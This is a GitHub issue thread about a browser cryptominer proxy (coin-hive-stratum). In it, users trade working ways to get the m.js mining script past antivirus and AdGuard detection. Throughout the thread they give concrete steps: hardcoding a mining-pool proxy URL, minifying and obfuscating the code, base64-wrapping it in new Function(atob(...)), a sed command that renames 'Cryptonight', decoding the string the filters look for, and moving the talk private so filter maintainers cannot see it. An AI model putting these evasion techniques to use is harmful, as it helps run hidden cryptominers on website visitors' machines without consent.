cron13 commented 6 years ago

hey guys, can u release decrypted version of m.js, I want to recompile it. At the moment many antiviruses detect it as a virus

cazala commented 6 years ago

https://gist.github.com/cazala/50ab1e141736c8a327b26b923a1448e6

cron13 commented 6 years ago

Thanks, can you tell us a good utility for obfuscating js? All that I have found so far does not help against some antiviruses :-(

Ikarus PUA.CoinMiner Kaspersky HEUR: Trojan.Script.Generic Symantec PUA.JScoinminer 20171213 ZoneAlarm by Check Point HEUR: Trojan.Script.Generic

cazala commented 6 years ago

Mm i didn't do much, I just used https://javascriptobfuscator.com/ and then converted the whole code to base64, and put it into a new Function(atob("base64source"));

cazala commented 6 years ago

Maybe the source could also be minified before/after obfuscating it.

cron13 commented 6 years ago

Thanks, I will experiment. If this works out. then I will write here

adamdupuis commented 6 years ago

To get it undetected by Kaspersky I only hardcoded the proxy and removed the console.log() calls in m.js then obfuscated it using the same website mentioned above. Then I base64 encoded as mentioned above. I would minify it before obfuscating as well.

cazala commented 6 years ago

so @adamdupuis you don't have to load the .js file using the ?proxy= query param right? I believe that's the rule they are using to block it.

cazala commented 6 years ago

because I think it gets blocked even before the file is loaded at all, so it has to do with the url.

adamdupuis commented 6 years ago

In the version where I deobfuscated your m.js I still need to call it with m.js?proxy= but I do not add a value to the parameter. Since modifying CoinHive's code I removed the need for the proxy parameter.

cazala commented 6 years ago

Mm okay then maybe my theory is wrong. But I don't see why you need to pass the ?proxy= query param?

cazala commented 6 years ago

Is it because of the throw new Error("missing '?proxy' query parameter in your proxy url!"); ?

adamdupuis commented 6 years ago

Yes, I was working with your obfuscated m.js and it was too much work to figure out how to remove the need for it completely so I just left it in. Once I ensure my new version is undetected I will use it without needing the proxy parameter.

cazala commented 6 years ago

Okay, let me know if you make any progress :)

cron13 commented 6 years ago

adamdupuis solution work, thank you!

So, i hardcode proxyUrl and libUrl like this:

var libUrl = 'http://myserver.com/proxyurl/';
const proxyUrl = 'wss://myserver.com:8892?pool=pool.supportxmr.com:3333';

and remove throw new Error and console.log

Then i minify this by https://www.minifier.org Then obfuscate with https://javascriptobfuscator.com And encode result to base64 And put it into new Function(atob("base64source"))();

cazala commented 6 years ago

nice, i ll update the assets soon

cron13 commented 6 years ago

damn, adguard made new filter that detect miner - https://github.com/AdguardTeam/AdguardFilters/blob/8611f98972689e4001b8cb7861e1cab626755b60/EnglishFilter/sections/general_extensions.txt that filter based on js code: if (a instanceof Array && "string" === typeof a[0] && 0 <= a[0].indexOf("Cryptonight")) { as I understand this code is just looking for the word "Cryptonight" in the js files of the site. I try to rename all "Cryptonight", but after this i got errors like failed to asynchronously prepare wasm: TypeError: undefined is not an object (evaluating 'Module["asm"]["_crnt_create"].apply') TypeError: undefined is not an object (evaluating 'Module["asm"]["_crnt_create"].apply')

Any ideas?

cazala commented 6 years ago

I'll look into it during the weekend, but yea i noticed the traffic going thru the proxy decreased in the last days to a 5% from what it has been the last weeks, it's probably these guys getting smarter

adamdupuis commented 6 years ago

If you base64 encode the Javascript, Adguard should not be able to detect if "Cryptonight" is in there - or can it?

amittell commented 6 years ago

Tested this and it stops AdGuard from detecting it.

sed -i 's:Cryptonight:CN:g' m.js

Obviously you need to run this on the decoded m.js, then re-obfuscate and encode it.

cazala commented 6 years ago

I'll make these changes to the assets soon, thanks everyone for helping out :)

adamdupuis commented 6 years ago

Is this just a search and replace?

amittell commented 6 years ago

Yep, working for me and AdGuard doesn't detect it.

https://gist.github.com/amittell/44f868ec729430a9981babe931cef490

Akuka commented 6 years ago

@amittell should you do the same for 'a.js'? its also contains "Cryptonight"

amittell commented 6 years ago

@Akuka I didn't, AdGaurd doesn't seem to detect it as it is.

cazala commented 6 years ago

The a.js file (asmjs) is not used if WebAssembly is supported. You can force the miner to use asm and test if it gets detected by AdGuard by doing this:

var miner = CH.Anonymous('site-key', { forceASMJS: true });
miner.start();

Worldand commented 6 years ago

Avast web shield also detect "Cryptonight"

Worldand commented 6 years ago

With what we need to replace "Cryptonight" ?

amittell commented 6 years ago

Anything that's not "Cryptonight" ;)

In my sed above I just replaced it with "CN".

Worldand commented 6 years ago

Tried but it didn't works(the miner doesn't start)

adamdupuis commented 6 years ago

Yeah the miner won't start for me either when I did a find and replace "cryptonight" to "CRY" - I chose something other than "CN" because I wanted to be able to find it later and "cn" is commonly found throughout the script.

amittell commented 6 years ago

Strange, works for me. What error do you get?

JBelinchon commented 6 years ago

Hi, any chance to modify somehow the wasm file to avoid antivurus?

adamdupuis commented 6 years ago

@amittell I'm getting the error failed to asynchronously prepare wasm: TypeError: Module.asm._CRY_create is undefined

I did a simple search and replace "cryptonight" (case insensitive) to "CRY"

neverknoww commented 6 years ago

@amittell your method is not working anymore, adblock updated their filter. anymore ideas? Many thanks

amittell commented 6 years ago

Yep. Seems like we are fighting a losing battle here.

Can you paste the AdBlock message so we know what they are filtering on?

neverknoww commented 6 years ago

@amittell https://github.com/AdguardTeam/AdguardFilters/tree/master/EnglishFilter/sections

https://github.com/AdguardTeam/AdguardFilters/blob/master/EnglishFilter/sections/general_extensions.txt

they just updated this file. happaned a hour ago. must be this. lets work it out together

neverknoww commented 6 years ago

@amittell https://github.com/AdguardTeam/AdguardFilters/blob/master/EnglishFilter/sections/general_extensions.txt

last line . number 1200

cron13 commented 6 years ago

what happens if execute sessionStorage.setItem ("_ 2cr7mr9", "1") on top of the page ?

cazala commented 6 years ago

they are looking for this piece in the obfuscated code, right?

a[0].indexOf("\x5F\x63\x72\x79\x70\x74\x6F\x6E\x69\x67"+"\x68\x74\x5F\x63\x72\x65\x61\x74\x65")

cron13 commented 6 years ago

yeah, console.log("\x5F\x63\x72\x79\x70\x74\x6F\x6E\x69\x67"+"\x68\x74\x5F\x63\x72\x65\x61\x74\x65") _cryptonight_create

cazala commented 6 years ago

okay, we know what we need to rename

cron13 commented 6 years ago

can we create a private discussion about avoidance adblock? Maybe I'm paranoid, but I think they are reading this thread :-/

neverknoww commented 6 years ago

add me please . thanks

adamdupuis commented 6 years ago

It shouldn't matter as long as the variables can be renamed to something generic that cannot be blocked without affecting other sites/scripts that shouldn't be blocked. The main issue is not being able to rename all instances of "cryptonight" without being able to rename it in the wasm file.

neverknoww commented 6 years ago

adamdupuis there are things hardcoded in the .wasm file. Not until someone rewrite the entire program, eventunly they will able to block us out entirely. at that moment, no matter what you change, it wudnt work

adamdupuis commented 6 years ago

Yes, that is what I'm saying. There's no need to go private though.

cron13 commented 6 years ago

how hard will it be to compile some kind of miner engine under the webassembly?

neverknoww commented 6 years ago

but keeping it private, it will able us to last longer without keep changing the code until its game over to everyone

adamdupuis commented 6 years ago

Sounds like it already is...

cazala commented 6 years ago

even if we can't change the wasm, we can change the client to hide the API. and we can even mine without using wasm too, there's still asmjs. let me play with it for a bit, i'll write back.

cazala / coin-hive-stratum

Decrypted m.js #100

adamdupuis there are things hardcoded in the .wasm file. Not until someone rewrite the entire program, eventunly they will able to block us out entirely. at that moment, no matter what you change, it wudnt work